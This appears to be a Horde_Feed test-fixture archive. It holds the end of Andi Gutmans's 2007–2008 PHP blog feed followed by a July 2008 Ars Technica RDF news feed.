the application lifecycle tooling industry and other industries have standardized on Eclipse. Due to the ubiquity of the Eclipse Platform, many vendors with proprietary platforms have also worked with Eclipse in order to use Eclipse as a vehicle to reach their target audiences.</p> <p>I therefore predict that in 2008 we will see one of the non-Eclipse ISVs lead a developer tooling project at the Eclipse Foundation (or at least announce a major new tooling solution for free on Eclipse). The goal will be to leverage Eclipse in order to achieve greater ubiquity for their solutions.</p> <p>&#160;</p> <p><strong><u>Who will be acquired in 2008?</u></strong></p> <p>Not many BI vendors left, so I'll stay off that subject :)</p> <p>Predicting acquisitions is always hard but I'll take a shot:</p> <p>- <a href="http://www.zoho.com/">Zoho</a> (AdventNet) may be a target for one of the larger Web 2.0 companies and/or traditional Enterprise software companies. In the heat of the battle for the leadership around the Web productivity suite I think some of these vendors will want to cut their time to market. On a side note, I don't really believe in the Web OS as much as I believe in great applications. I believe that applications in conjunction with Web services will be driving the next-generation platforms and not specific Web containers like the Web OSes are trying to define.</p> <p>- <a href="http://us.intacct.com/">Intacct</a> which delivers on-demand ERP (built-on PHP) is one of the leading ERP solutions which integrates well with Salesforce.com. With <a href="http://www.netsuite.com/portal/home.shtml">Netsuite</a> having gone public I believe the pressure on Salesforce.com to deliver a full solution goes up. Acquiring Intacct would be a way to shortcut that process. Main blocker: If Salesforce.com Java purists make it a technological issue... Hint: Religion rarely pays off when it comes to business.</p> <p>- <a href="http://www.mysql.com/">MySQL</a> - This is a long shot. MySQL has been very vocal about wanting to go public so that's probably the safe bet. But I still think there's a chance that it'd be more beneficial for some of the big guys to actually gobble up MySQL instead of seeing MySQL go public (see what Redhat did to the traditional UNIX market). Sure that today MySQL has a hard time competing with the traditional Enterprise database market but that may be just another reason why having a solution for the new markets can be a very complimentary offering. At the end of the day cash talks.</p> <p>&#160;</p> <p>Enough predicting.</p> <p>&#160;</p> <p>I'll finish off with some of the blogs I most enjoyed in 2007:</p> <p>- <a href="http://ajaxian.com/">Ajaxian</a> - Keeps me current on what's happening in the RIA world.</p> <p>- <a href="http://weblogs.asp.net/scottgu/default.aspx">Scott Guthrie's blog</a> - Scott is a General Manager in the Microsoft Developer Division. I like the blog for a a couple of reasons. First it keeps me up-to-date with what's happening with ASP.NET; second, it amazes me how he manages to find time to write such good in-depth blog entries. (Scott recommended Windows Live Writer as a blog editor to me; that's what I'm using now, it works with blogger.com, is free and I find it very convenient).</p> <p>- <a href="http://www.presentationzen.com/presentationzen/">Presentation Zen</a> (not Zend) - Very useful blog and hopefully will improve my presentation skills. Today I got my pre-ordered copy of the just published <a href="http://www.amazon.com/Presentation-Zen-Simple-Design-Delivery/dp/0321525655">book</a>. </p> <p>- <a href="http://redmonk.com/sogrady/">Stephen O'Grady from Redmonk</a> - I must admit I don't care too much for his sports related entries but there are always interesting insights and links on this blog. He's just a very smart guy and in response to <a href="http://weblog.infoworld.com/openresource/archives/2007/12/other_underrepo.html">Zak Urlocker's entry</a>, at least Stephen always makes it clear who's a paying customer which makes it easier for readers to make up their own mind on how they want to interpret what he's writing.</p> <p>The list is getting long and there are lots of other blogs I love. Let me just say thanks to <a href="http://www.planet-php.net/">Planet PHP</a> which helps me keep in touch with our great community, a source of inspiration.</p> <p>Happy New Year!</p>http://andigutmans.blogspot.com/2008/01/predictions-for-2008.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-5083210620278587230Mon, 12 Nov 2007 20:51:00 +00002007-11-12T13:01:07.321-08:00Production-ready PHP on WindowsToday Microsoft <a href="http://www.iis.net/php">announced </a> the general availability of their FastCGI Extension for IIS 6.0 (Windows Server 2003). This announcement comes a year after Zend & Microsoft <a href="http://www.microsoft.com/presspass/press/2006/oct06/10-31MSZendPR.mspx">announced </a> a partnership geared toward delivering better interoperability between PHP and the Windows platform.<br /><br />For me this announcement is an important milestone. PHP had suffered years of neglect when it came to performance and reliability on Windows. In fact, the last serious effort to make it run well on Windows was back in 2001 when a small (underground) team at Microsoft invited the PHP development team up to Redmond for a few days to work in their labs to stress and performance test PHP. Zeev Suraski, Shane Caraveo and I made the journey up there and managed to significantly improve PHP on Windows. However, due to the fact that the team at Microsoft had very little influence on the rest of the organization and them working with us was not generally viewed as a good thing, and the fact that we were still seeing less production interest of PHP, over the following five years status quo kicked in again and Windows support kept on deteriorating.<br /><br />Two things have changed since then. First of all, Microsoft seems to have now more broadly understood that being the best platform to run any workload whether it’s their recommended offering or 3rd party offerings is a good thing for the Windows Server business; so folks like the ones we had worked with in 2001 can now finally come out of the closet. On our side, PHP’s market penetration has significantly changed since 2001. PHP is not only a mainstream technology in the broad sense but has been adopted by a large number of traditional Enterprises. As a result, the demand for production quality PHP on Windows has also significantly risen.<br /><br />For these reasons today’s announcement is truly significant. Not only have we at Zend done a significant amount of work on profiling, testing and improving the PHP runtime itself to make Windows a 1st class citizen for PHP but with the announcement of Microsoft’s FastCGI extension for IIS6 (Windows Server 2003) PHP on Windows is now ready to go into production. As part of the benchmarking work we have done over the past year we have also tested several applications in our labs (including XOOPS and Qdig) both on Linux and on Windows and have verified a comparable level of stability and performance of PHP on Windows.<br /><br />What next?<br />- While Microsoft’s FastCGI for IIS6 (Windows Server 2003) is a free download, Microsoft will make life even easier for Windows Server 2008 customers by bundling FastCGI support directly into the operating system. The fact that PHP has influenced the Windows Sever 2008 product roadmap approx. 1.5 years before its final release is a great testament that Microsoft is serious about making Windows Server a good host OS for PHP.<br />- Zend will continue to monitor and enhance PHP’s performance and reliability on Windows. Any modifications to the PHP source code as part of that effort will continue to be contributed to the PHP project.<br />- Zend’s production products support the Windows Server operating systems. Today Zend Core & Zend Platform together already offer performance, scalability and monitoring for business-critical applications hosted on Windows.<br />- Microsoft at our recent conference announced a technology preview of a new <a href="http://www.microsoft.com/sql/technologies/php/default.mspx">SQL Server Driver for PHP</a> which is another step in making PHP interoperate with the Windows platform (I encourage Microsoft to also extend this support to SQL Server interoperability from PHP hosted on non-Windows servers)<br /><br />Microsoft gets it right:<br />PHP is one of the most important driving forces behind the modern Web. Not only is PHP running some of the most scalable Web sites like Facebook and Yahoo!, but as more organizations move their applications into the browser it is one of the leading technologies being adopted for that purpose due to its ease-of-use, strong community and scalability.<br />Trying to force PHP into a vendor’s technology stack like some of the Java EE vendors are trying to do with PHP, would lead to the loss of the productivity and community benefits that PHP delivers. While I have no doubt that Microsoft continues to be commited to its own .Net based product strategy, I think they are doing the right thing by investing in making PHP run well and interoperate with their product portfolio.http://andigutmans.blogspot.com/2007/11/production-ready-php-on-windows.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-6021159680456030932Thu, 04 Oct 2007 00:54:00 +00002007-10-03T17:58:12.704-07:00See you at ZendCon!ZendCon is only one week away and things are coming together. In addition to Harold (our CEO), Zeev and I presenting the opening keynote, we have Joel Spolsky and Cory Doctorow giving keynotes. Premal Shah of kiva.org will be part of the closing keynote talking about how they use PHP to connect investors with Third-world entrepreneurs. Add to that keynotes from both Adobe and IBM and you start to get a feel for the excitement building around ZendCon this year.<br /><br />Of course we have a great lineup of speakers. Names you know like Marcus Boerger, John Coggeshall and Jay Pipes and a few names you may not know like Zend’s own Eddo Rotman and Elizabeth Narimore.<br /><br />Patrick Reilly of OmniTI is the Program Chair for the ZendCon UnCon this year and he’s been working overtime to round up speakers. You can see a complete list of the sessions planned on the <a href="http://www.zendcon.com/wiki/index.php?title=Sessions">wiki </a><br /><br />Finally, our after hours activities are really great this year. On Tuesday evening, we have the Happy Hour 2.0 and on Wednesday evening, Yahoo! is sponsoring the PHP Nightclub (get ready to Rock N' Roll - ok I'm actually more a techno kind of guy). <br /><br />If you have not yet <a href="http://zendcon.com/registration_fees.php">registered</a>, make sure you do so now. This is an event you don’t want to miss! <br /><br />See you there!http://andigutmans.blogspot.com/2007/10/see-you-at-zendcon.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-2194742036606123163Wed, 22 Aug 2007 19:48:00 +00002007-08-23T21:23:56.571-07:00Use-cases for PHP and Pdf neededZend Framework features a really cool component called <a href="http://framework.zend.com/manual/en/zend.pdf.html">Zend_Pdf</a>; its development is led by Alexander Veremyev.<br />We are currently trying to better understand the use-cases around how PHP developers are using Pdf files on the Web in order to figure out what the requirements are for future enhancements to our Pdf component.<br /><br />Are you reading pre-formatted templates for invoices and just filling them in? Are you password protecting files depending on who downloads them?<br /><br />Also, if there are just some discrete features you'd like to see please let us know too.<br /><br />Please send feedback to the <a href="mailto:fw-formats@lists.zend.com">fw-formats</a> mailing list. Even if you're currently not using Zend Framework we'd be very interested to hear about your use-cases. Thanks!http://andigutmans.blogspot.com/2007/08/use-cases-for-php-and-pdf-needed.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-6667417788998241582Tue, 14 Aug 2007 20:33:00 +00002007-08-14T13:45:06.639-07:00AjaxWorld West coming up!<a href="http://www.ajaxworld.com/general/sessiondetail0907.htm?id=96">AjaxWorld West</a> is coming up in September. I spoke at the East coast event and I highly recommend people interested in the next-generation of Web applications to attend this conference. It's got a good mix of open-source, community and commercial RIA material and is a good venue to get up to speed with some of the latest developments in RIAs such as push technologies, offline RIAs or just plain old user-interface.<br />I will be giving a <a href="http://www.ajaxworld.com/general/sessiondetail0907.htm?id=96">talk</a> there on RIAs with PHP and Zend Framework. Joining me for this session will be Brad Cottel our Zend Framework evangelist who's done his fair share of C/C++, Fortran and Rails development (and now getting into PHP and Zend Framework).<br /><br />See you there!http://andigutmans.blogspot.com/2007/08/ajaxworld-west-coming-up.htmlnoreply@blogger.com (Andi Gutmans) Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-arstechnica.com-etc-rdf-ars.rdf0000664000175000017500000012526112653701626026641 0ustar janjan Ars Technica http://arstechnica.com/index.ars This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site. E-Gold execs face prison after money laundering guilty plea http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342658169/20080722-e-gold-execs-face-prison-after-money-laundering-guilty-plea.html http://arstechnica.com/news.ars/post/20080722-e-gold-execs-face-prison-after-money-laundering-guilty-plea.html Tue, 22 Jul 2008 15:34:00 GMT jtimmer@arstechnica.com (John Timmer) <p>The founders of online payment service E-Gold has admitted that their service acts as a financial institution, and that its lax controls have allowed it to become a haven for money laundering.</p><p><a href="http://arstechnica.com/news.ars/post/20080722-e-gold-execs-face-prison-after-money-laundering-guilty-plea.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=ebaf96726cffd364947ce34b01ca2cc6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=ebaf96726cffd364947ce34b01ca2cc6" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=Mnh8dj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=Mnh8dj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=4lkBUJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=4lkBUJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=plcahJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=plcahJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342658169" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080722-e-gold-execs-face-prison-after-money-laundering-guilty-plea.html Mark Shuttleworth: life on mars, Ubuntu in emerging markets http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342581267/20080722-mark-shuttleworth-life-on-mars-ubuntu-in-emerging-markets.html http://arstechnica.com/news.ars/post/20080722-mark-shuttleworth-life-on-mars-ubuntu-in-emerging-markets.html Tue, 22 Jul 2008 14:11:00 GMT segphault@arstechnica.com (Ryan Paul) <p>Ubuntu founder Mark Shuttleworth shared his vision of the future during a presentation to a local technology enthusiast group at a small theater in Portland. </p><p><a href="http://arstechnica.com/news.ars/post/20080722-mark-shuttleworth-life-on-mars-ubuntu-in-emerging-markets.html">Read More...</a></p><br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=9e7893566fdbb06af3965929464bcc60"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=9e7893566fdbb06af3965929464bcc60"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=9e7893566fdbb06af3965929464bcc60" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=8IgYAj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=8IgYAj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=ywx0PJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=ywx0PJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=fF7zrJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=fF7zrJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342581267" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080722-mark-shuttleworth-life-on-mars-ubuntu-in-emerging-markets.html Movie industry eyeing 3D movies for the home theater http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342485696/20080722-movie-industry-eyeing-3d-movies-for-the-home-theater.html http://arstechnica.com/news.ars/post/20080722-movie-industry-eyeing-3d-movies-for-the-home-theater.html Tue, 22 Jul 2008 12:05:00 GMT jhruska@arstechnica.com (Joel Hruska) <p>There's currently no consistent standard governing 3-D display on the small screen, but the Society of Motion Picture and Television Engineers (SMPTE) wants to change that. The group intends to develop a universal standard to handle the broadcast and display of 3-D video, but Hollywood may not be happy to see its newfound cash cow walking out the barn door.</p><p><a href="http://arstechnica.com/news.ars/post/20080722-movie-industry-eyeing-3d-movies-for-the-home-theater.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=049958d39f1b3697f65145263a26e111" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=049958d39f1b3697f65145263a26e111" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=nKHsGj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=nKHsGj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=pabRNJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=pabRNJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=okfucJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=okfucJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342485696" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080722-movie-industry-eyeing-3d-movies-for-the-home-theater.html Report: OSS projects need tighter focus on security http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342485697/20080722-report-oss-projects-need-tighter-focus-on-security.html http://arstechnica.com/news.ars/post/20080722-report-oss-projects-need-tighter-focus-on-security.html Tue, 22 Jul 2008 11:15:00 GMT jtimmer@arstechnica.com (John Timmer) <p>A security analysis of a number of Java-based open source projects shows that many vulnerabilities persist across several releases of the software. Its author suggests this occurs in part because the projects haven't any structure in place to handle security issues.</p><p><a href="http://arstechnica.com/news.ars/post/20080722-report-oss-projects-need-tighter-focus-on-security.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=49576f5c4551eb5897562a8c0aaf69f6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=49576f5c4551eb5897562a8c0aaf69f6" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=tQLqmj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=tQLqmj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=0nSw8J"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=0nSw8J" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=FIKnqJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=FIKnqJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342485697" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080722-report-oss-projects-need-tighter-focus-on-security.html Managing green tech complex, expensive, requires "eco-czar" http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342485698/20080722-managing-green-tech-complex-expensive-requires-eco-czar.html http://arstechnica.com/news.ars/post/20080722-managing-green-tech-complex-expensive-requires-eco-czar.html Tue, 22 Jul 2008 10:05:00 GMT hannibal@arstechnica.com (Jon Stokes) <p>Enterprise, meet your newest and possibly biggest cost center: carbon management. Saving the planet is going to be hard work.</p><p><a href="http://arstechnica.com/news.ars/post/20080722-managing-green-tech-complex-expensive-requires-eco-czar.html">Read More...</a></p><br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=deb7d92cf3245d6dc274d037ab89a38e"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=deb7d92cf3245d6dc274d037ab89a38e"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=deb7d92cf3245d6dc274d037ab89a38e" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=mC2swj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=mC2swj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=MjNY8J"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=MjNY8J" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=CQgkJJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=CQgkJJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342485698" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080722-managing-green-tech-complex-expensive-requires-eco-czar.html Developers are too human: an interview with Dennis Dyack http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342212078/dyack-interview-e3.ars http://arstechnica.com/articles/culture/dyack-interview-e3.ars Tue, 22 Jul 2008 04:35:00 GMT fcaron@arstechnica.com (Frank Caron) <p>Silicon Knights' Dennis Dyack is no stranger to controversy, having spoken out against the haters who've trashed his long-awaited title, <em>Too Human</em>. We sit down with Dennis to get a feel for the man behind the flamewars.</p><p><a href="http://arstechnica.com/articles/culture/dyack-interview-e3.ars">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=48796ebf61170f16e623d8145491e04e" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=48796ebf61170f16e623d8145491e04e" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=3xyT9j"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=3xyT9j" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=19CxgJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=19CxgJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=r9SlcJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=r9SlcJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342212078" height="1" width="1"/> http://arstechnica.com/articles/culture/dyack-interview-e3.ars Source code released for canned-air FileVault/BitLocker hack http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342170246/20080721-source-code-published-for-cold-boot-exploit.html http://arstechnica.com/news.ars/post/20080721-source-code-published-for-cold-boot-exploit.html Tue, 22 Jul 2008 03:35:00 GMT jhruska@arstechnica.com (Joel Hruska) <p>The same research team that released a paper on the "cold boot" disk encryption exploit back in February has now shared the source code that powered the initial discovery. Using such tools, a hacker could read the encryption code for a system directly from its RAM, even after the computer was turned off.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-source-code-published-for-cold-boot-exploit.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=40e2768e371fb8aa33eed04670dceb62" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=40e2768e371fb8aa33eed04670dceb62" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=UcGgkj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=UcGgkj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=uvrALJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=uvrALJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=hYBqlJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=hYBqlJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342170246" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-source-code-published-for-cold-boot-exploit.html North Carolina library teaches game design to kids http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342127066/20080721-north-carolina-library-teaches-game-design-to-kids.html http://arstechnica.com/news.ars/post/20080721-north-carolina-library-teaches-game-design-to-kids.html Tue, 22 Jul 2008 02:20:00 GMT vansau@gmail.com (Michael Thompson) <p>In North Carolina, a couple of libraries have started summer programs aimed at introducing young students to the joy of video game construction.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-north-carolina-library-teaches-game-design-to-kids.html">Read More...</a></p><br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=3abf8843bf97869fe86da53ccac560a3"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=3abf8843bf97869fe86da53ccac560a3"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=3abf8843bf97869fe86da53ccac560a3" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=yft41j"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=yft41j" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=3NTDQJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=3NTDQJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=ERtuZJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=ERtuZJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342127066" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-north-carolina-library-teaches-game-design-to-kids.html Hands on: Facebook redesign tries to clear the social smog http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342075384/20080721-hands-on-facebook-redesign-tries-to-clear-the-social-smog.html http://arstechnica.com/news.ars/post/20080721-hands-on-facebook-redesign-tries-to-clear-the-social-smog.html Tue, 22 Jul 2008 01:16:00 GMT dchartier@arstechnica.com (David Chartier) <p>Facebook has launched a long-anticipated redesign with usability, content aggregation, and privacy in mind. Ars Technica goes hands on to see how far the social network has matured.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-hands-on-facebook-redesign-tries-to-clear-the-social-smog.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=4395342b35ce781a9e1662a1e6e9cb70" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=4395342b35ce781a9e1662a1e6e9cb70" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=3xkWzj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=3xkWzj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=aKtPbJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=aKtPbJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=ajH4QJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=ajH4QJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342075384" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-hands-on-facebook-redesign-tries-to-clear-the-social-smog.html FCC hearing: disagreement over the "broadband of tomorrow" http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/342029359/20080721-fcc-hearing-disagreement-over-the-broadband-of-tomorrow.html http://arstechnica.com/news.ars/post/20080721-fcc-hearing-disagreement-over-the-broadband-of-tomorrow.html Tue, 22 Jul 2008 00:09:00 GMT nate@arstechnica.com (Nate Anderson) <p>All five FCC Commissioners headed to Pittsburgh today for an open hearing on our broadband future. We still don't have a national broadband strategy, but at least we have five commissioners who want to promote Internet access. Beyond that, though, disagreement starts.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-fcc-hearing-disagreement-over-the-broadband-of-tomorrow.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=f5e067c79569578ffc11eed794996451" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=f5e067c79569578ffc11eed794996451" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=lZzOYj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=lZzOYj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=CVnaoJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=CVnaoJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=38o0mJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=38o0mJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/342029359" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-fcc-hearing-disagreement-over-the-broadband-of-tomorrow.html Apple Q3 2008: Macs unstoppable, solid growth down the line http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341898165/20080721-apple-q3-2008-iphones-short-ipods-flat-macs-unstoppable.html http://arstechnica.com/news.ars/post/20080721-apple-q3-2008-iphones-short-ipods-flat-macs-unstoppable.html Mon, 21 Jul 2008 21:02:00 GMT cjade@arstechnica.com (Charles Jade) <p>Despite an iPhone shortage, Apple had another spectacular quarter, largely due to increased Mac sales.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-apple-q3-2008-iphones-short-ipods-flat-macs-unstoppable.html">Read More...</a></p><br style="clear: both;"/> <a href="http://www.pheedo.com/feeds/ht.php?t=c&amp;i=f323a9ca4cd0f0c70be18dc7e5161655"><img src="http://www.pheedo.com/feeds/ht.php?t=v&amp;i=f323a9ca4cd0f0c70be18dc7e5161655" border="0" /></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=f323a9ca4cd0f0c70be18dc7e5161655" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=jYazJj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=jYazJj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=UmNd1J"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=UmNd1J" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=tjFCiJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=tjFCiJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341898165" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-apple-q3-2008-iphones-short-ipods-flat-macs-unstoppable.html Court overturns FCC's Janet Jackson nip-slip fine http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341808345/20080721-court-whacks-fcc-janet-jackson-fleeting-exposure-fine-ready2edit.html http://arstechnica.com/news.ars/post/20080721-court-whacks-fcc-janet-jackson-fleeting-exposure-fine-ready2edit.html Mon, 21 Jul 2008 18:55:00 GMT ml@lasarletter.net (Matthew Lasar) <p>The FCC gets its clock cleaned yet again by the courts on its new "fleeting" indecency policies, overturning the $550,000 fine for Janet Jackson's "wardrobe malfunction." A broadcast artists group hails the ruling.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-court-whacks-fcc-janet-jackson-fleeting-exposure-fine-ready2edit.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=c53539322a54d63f55789e3ef0115bd9" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=c53539322a54d63f55789e3ef0115bd9" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a 